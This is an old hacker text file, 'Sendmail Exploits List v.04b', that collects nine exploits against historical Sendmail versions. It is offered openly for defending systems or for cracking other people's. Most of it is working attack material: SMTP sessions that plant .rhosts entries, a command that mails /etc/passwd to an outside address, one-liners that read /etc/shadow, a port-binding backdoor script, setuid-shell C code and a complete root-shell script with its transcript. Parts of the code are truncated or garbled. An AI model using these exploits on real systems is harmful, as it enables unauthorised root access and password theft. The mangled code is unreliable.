Sendmail Exploits ---------------------------------------------------------------------------- S e n d m a i l - B u g E x p l o i t s List v.04b Introduction and Legal Ramble ----------------------------- This is written for anyone that's interested in learning about the many Security holes that are resident in many versions of Sendmail. I do not care if you use it to protect your system against others, or crack other ppls systems...just don't involve me in it. I wrote it to collate all the information on sendmail into one list for convience and perhaps it will help some people. This paper is non-(c) 1995, I do not object, to you including any of these in a Zine (others have), FAQ, printed magazine, book etc... just be courteous and mail me first so I known where it's distributed *:^) (I like to keep track out it) Have you spotted a mistake or anything I could add? Then just add your own stuff and put yourself down on the credits and mail it me :) This is a beta document still. OH, all I ask is tell me what versions these work on, and if you have other exploits then mail me them :) ! Thanks/Greetz to Lineman and Syko for mailing me some stuff! CONTENTS Bug 1: uudecode problem, tested on Sendmail 5.64 Bug 2: Tail creates a daemon shell, tested on 5.65 Bug 3: Bounce allows anyone to read /etc/shadow, tested on 8.6.7 Bug 4: Issue a request twice and write to an .rhosts, works on 5.x ? Bug 5: Execute commands and grab passwd, Sendmail 5.55 Bug 6: Execute commands remotely, Sendmail 4.1 Bug 7: Shows how to gain a bin owned shell, tested on Sendmail 8.6.9 Bug 8: Read a file that you just executed, Sendmail 8.6.x Bug 9: Shows how to gain a root shell via Sendmail 8.6.4 ----- BUG 1 ----- Problem: /etc/aliases sometimes contains: decode: |/usr/bin/uudecode Just comment it out. % cat > outfile # Lets make our .rhosts file + + ^C % uuencode outfile /usr/bin/.rhosts begin 644 /usr/bin/.rhosts $*R`K"@`` ` end % telnet 127.1 25 Trying 127.0.0.1... Connected to 127.1. Escape character is '^]'. 220 fred Sendmail 5.64/zippy-1.22.01 ready at Mon, 24 Jul 95 09:34:12 -0400 (GMT) helo 250 fred Hello (localhost), pleased to meet you # Howz it hangin? mail from: bin 250 bin... Sender ok rcpt to: decode 250 decode... Recipient ok data 354 Enter mail, end with "." on a line by itself begin 644 /usr/bin/.rhosts # just type our uuencoded + + $*R`K"@`` ` end . 250 Ok quit 221 fred closing connection Connection closed by foreign host. % ls -al /usr/bin/.rhosts -rw-r--r-- 1 bin 4 Jul 24 09:34 .rhosts This is the same as: % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com ----- BUG 2 ----- [From CSC FAQ, credit to J. Rawlinson] ---cut here [panix!jhawk] |% telnet panix.com 25 Trying 198.7.0.2 ... Connected to panix.com. Escape character is '^]'. 220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13 -0500 HELO 250 Hello panix.com, why do you call yourself ? MAIL FROM: |/usr/ucb/tail|/usr/bin/sh 250 |/usr/ucb/tail|/usr/bin/sh... Sender ok RCPT TO: root 250 root... Recipient ok DATA 354 Enter mail, end with @.@ on a line by itself From: jhawk"panix.com (John Hawkinson) To: jhawk"panix.com (John Hawkinson) Return-Receipt-To: |foobar Subject: This is a large hole in the ground. X-Disclaimer: We take no responsibility for what might happen Hi there. Wanna play ball? #!/bin/sh #The above line is just in case :-) echo This is a Serious Bug > /tmp/bug echo id reports: >> /tmp/bug /usr/bin/id >> /tmp/bug echo Fixing this would be good >> /tmp/bug cp /bin/sh /tmp/bugshell chmod u+s /tmp/bugshell echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug chmod ugo+rx /tmp/bugshell . 250 Ok quit 221 panix.com closing connection ----- BUG 3 ----- Version affected: 8.6.7 A bug in Sendmail 8.6.7 allows anyone to read any file, including the shadowed password file: /usr/lib/sendmail -oE/etc/shadow bounce From: your_username ----- BUG 4 ----- Sendmail: 5.x You can have your host appened to someones .rhosts file,by issuing the request twice in this example it's myhost.com: % cat sendmail_haq telnet target.com 25 << EOSM rcpt to: /home/students/twit/.rhosts mail from: twit data hello :) dewd . rcpt to: /home/students/twit/.rhosts mail from: twit data myhost.com . quit EOSM evil % /bin/sh sendmail_haq Trying 123.456.789.0 Connected to target.com Escape character is '^]'. Connection closed by foreign host. % rlogin target.com -l twit % ----- BUG 5 ----- Sendmail: 5.55 Some versions allow us to execute commands; often leading to interesting effects like password file grabbing: % telnet target.com 25 Trying 123.456.789.0... Connected to target.com Escape character is '^]'. 220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51 mail from: "|/bin/mail me@myhost.com < /etc/passwd" 250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok rcpt to: mickeymouse 550 mickeymouse... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. % ----- Bug 6 ----- Sendmail: 4.1 By Lineman It allows remote access as bin...and since bin owns the /etc dir you can gain root. Rsend needs mconnect, which is a binary, which just connects to the place and sends the data. You can get rid the of ()'s at the beginninga and end of the script, and get rid of the mconnect line, and run like ./rsend > file, then ascii U/L the file to port 25...If it says a lot of stuff like "Command Ununown" 25 times, then it didn't work. Here's rsend: #!/bin/sh # Copyright, 1992, 1993 by Scott Chasin (chasin@crimelab.com) # # This material is copyrighted by Scott Chasin, 1992, 1993. The # usual standard disclaimer applies, especially the fact that the # author is not liable for any damages caused by direct or indirect # use of the information or functionality provided by this program. # # Description: # # Exploit NEW sendmail hole and bind a port so we can spawn a program. # Not for distribution under any circumstances # # Usage: smail # default: smail <7001> port=$3 user=$2 cmd=$4 if [ -z "$2" ]; then user=daemon fi if [ -z "$3" ]; then port=7002 fi if [ -z "$4" ]; then cmd="/bin/csh -i" fi ( sleep 4 echo "helo" echo "mail from: |" echo "rcpt to: bounce" echo "data" echo "." sleep 3 echo "mail from: $user" echo "rcpt to: | sed '1,/^$/d' | sh" echo "data" echo "cat > /tmp/a.c < #include #include #include #include reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; int **av;{struct sockaddr_in mya;struct servent *sp ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x /tmp/a.c < #include #include #include #include reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; int **av;{struct sockaddr_in mya;struct servent *sp ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this * hole. It's really just a matter of passing newlines in arguments to * sendmail and getting the stuff into the queue files. If we run this * locally with -odq we are guaranteed that it will be queue, rather than * processed immediately. Wait for the queue to get processed automatically * or just run sendmail -q if you're impatient. * usage: smh [ username [/path/to/sendmail]] * It's worth noting that this is generally only good for getting bin. * sendmail still wants to process the sendmail.cf file, which contains * Ou1 and Og1 most of the time, limiting you to bin access. Is there * a way around this? * cc -o smh smh.c should do the trick. This just creates a bin owned * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh. Note that on some * systems this is pretty much worthless, but you're smart enough to know * which systems those are. Aren't you? */ #include #include #include main(argc, argv) int argc; char **argv; { execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii ", argv[1] ? argv[1] : "atreus",0); } ----- Bug 8 ----- Version: 8.6.? To read a file you ran: /usr/lib/sendmail -C/home/path/of/file ------ Bug 9 ------ Sendmail: 8.6.4 /* What follows is a sample run exercising the latest sendmail hole and the script used to exploit this hole. This is a re-send; I neglected to escape the "." in the sendmail script, leaving the program slightly truncated. To fix this, I have escaped the . so prior to executing this you must remove the \. (does that make any sense? :-) There was also a small problem with nested quotes pointed out by Peter Wemm which I have fixed. This is the "small version" of the script; it assumes you have a sane sendmail.cf. In this manner, it is not a particularly robust "breakin script" but I believe it does illustrate how to exploit the bug. This program uses "calc.c," the program mentioned by Timothy Newsham in an earlier message. The program has been modified slightly so that it gives better results (it would occasionally fail to locate the offset of a config given a buggy sendmail. The fix is to force a sync() after it generates a coredump.) The remainder of the program was written by myself and a fellow student, Steven Dake. We have held off on releasing this script until we were able to notify the people responsible for system security at NAU. Locals subscribing to this digest beware; sendmail on our machines has been patched! :-) */ Script started on Thu Mar 24 00:54:54 1994 [pine] [1] date Thu Mar 24 00:54:57 MST 1994 [pine] [2] whoami jwa [pine] [3] id uid=4473(jwa) gid=400(student) [pine] [4] ls -l sendbug.sh -rwx------ 1 jwa student 4893 Mar 24 00:46 sendbug.sh* [pine] [5] sendbug.sh Creating setid0 ... Creating calc... Scanning core image for /nau/local/lib/mail/sendmail.cf... Creating alias.sh ... Creating fake alias file... Faking alias pointer in new config file... Creating the sendmail script... Executing /usr/lib/sendmail - d4294935548.47,4294935549.116,4294935550.109,4294935551.112,4294935552.47,4294935553.115,429 4935554.109,4294935555.46,4294935556.9 Version 8.6.4 220-pine.cse.nau.edu Sendmail 8.6.4/WHOOP-v1.0 ready at Thu, 24 Mar 1994 00:55:21 -0700 220 ESMTP spoken here 250 pine.cse.nau.edu Hello jwa@localhost, pleased to meet you 250 ... Sender ok 250 ... Recipient ok 354 Enter mail, end with "." on a line by itself 250 AAA01803 Message accepted for delivery 503 Need MAIL before RCPT 503 Need MAIL command 500 Command unrecognized 500 Command unrecognized 221 pine.cse.nau.edu closing connection setid0 is a suid shell. executing... executing /bin/csh... pine# whoami root pine# id uid=0(root) gid=0(root) pine# exit pine# end of script. . and here's the program. #!/bin/sh # exploit new sendmail bug to give us a root shell # 24 mar 94 jwa/scd @nau.edu # "short version" # tested on sunos 5.2/sendmail 8.6.4 # location of sendmail SENDMAIL=/usr/lib/sendmail # location of original sendmail.cf file CONFIG=/nau/local/lib/mail/sendmail.cf #CONFIG=`strings $SENDMAIL | grep sendmail.cf` # program to execute as root SHELL=/bin/csh TEMPDIR=/tmp/sendbug-tmp.$$ mkdir $TEMPDIR chmod 700 $TEMPDIR cd $TEMPDIR cp $SENDMAIL sm chmod 700 sm echo "Creating setid0 ..." cat > setid.c << _EOF_ /* set uid to zero, thus escaping the annoying csh and solaris sh * problem.. * * if (getuid() != geteuid()) { * printf("permission denied, you root-hacker you.\n"); * exit(1); * } * * .. must be run euid 0, obviously. with no args it runs /bin/sh, * otherwise it runs the 1st arg. */ #include main(argc, argv) int argc; char *argv[]; int uid; setuid(0); setgid(0); seteuid(0); /* probabally redundant. */ setegid(0); uid = getuid(); if (uid != 0) { printf("setuid(0); failed! aborting..\n"); exit(1); } if (argc !=2) { printf("executing /bin/sh...\n"); system("/bin/sh"); } else { printf("executing %s...\n", argv[1]); system(argv[1]); } _EOF_ cc -o setid0 setid.c echo "Creating calc..." cat > calc.c << _EOF_ /* * Determines offset in sendmail of * sendmail.cf file location. * author: timothy newsham */ #include gencore() int pid; int fd[2]; if(pipe(fd) < 0) { perror("pipe"); exit(1); return(0); } pid = fork(); if(!pid) { int f = open("./out", O_RDWR|O_CREAT, 0666); dup2(f, 1); dup2(fd[0], 0); close(f); close(fd[1]); close(fd[0]); execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0); perror("exec"); exit(0); } else { sleep(2); kill(pid, 11); } close(fd[0]); close(fd[1]); main(argc,argv) char **argv; int argc; unsigned int ConfFile,tTdvect,off; gencore(); sync(); /* grr. */ tTdvect = find("ZZZZZZZZ", "core"); ConfFile = find(argv[1], "core"); if(!tTdvect || !ConfFile) { return(1); } off = ConfFile - tTdvect; printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n", off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \ off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10); int find(pattern, file) char *pattern,*file; int fd; int i, addr; char c; fd = open(file, 0); i = 0; addr = 0; while(read(fd, &c, 1) == 1) { if(pattern[i] == c) i++; else i=0; if(pattern[i] == '\0') { addr -= strlen(pattern); return(addr); } addr++; } return(0); _EOF_ cc calc.c -o calc echo "Scanning core image for $CONFIG..." DEBUGFLAGS=`calc $CONFIG` echo "Creating alias.sh ..." echo "#!/bin/sh # this program will be executed when mail is sent to the fake alias. # since solaris sh and csh and tcsh refuse to run when euid != realuid, # we instead run the program we compiled above. /bin/chmod 6777 $TEMPDIR/setid0 /bin/chown root $TEMPDIR/setid0 /bin/sync " > alias.sh chmod 755 alias.sh echo "Creating fake alias file..." echo "yash: |$TEMPDIR/alias.sh" > aliases echo "Faking alias pointer in new config file..." egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf echo " # hacks follow OA/$TEMPDIR/aliases # our fake alias file Ou0 # user ID to run as Og0 # group ID to run as DZWHOOP-v1.0" >> /tmp/sm.cf echo "Creating the sendmail script..." cat > sendmail.script << _EOF_ helo mail from: rcpt to: data yet another sendmail hole? suid whoop? \. # oops.. delete \ prior to execution quit _EOF_ echo "Executing $SENDMAIL $DEBUGFLAGS -bs..." $SENDMAIL $DEBUGFLAGS -bs < sendmail.script # give it time to execute. sleep 4 # cleanup in 5 seconds (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) & if [ -u setid0 ] then echo "setid0 is a suid shell. executing..." cd / $TEMPDIR/setid0 /bin/csh echo "end of script." exit 0 else echo "setid0 is not suid; script failed." echo "apparently, you don't have the bug. celebrate :-)" exit 1 fi ---------------------------------------------------------------------------- [Image]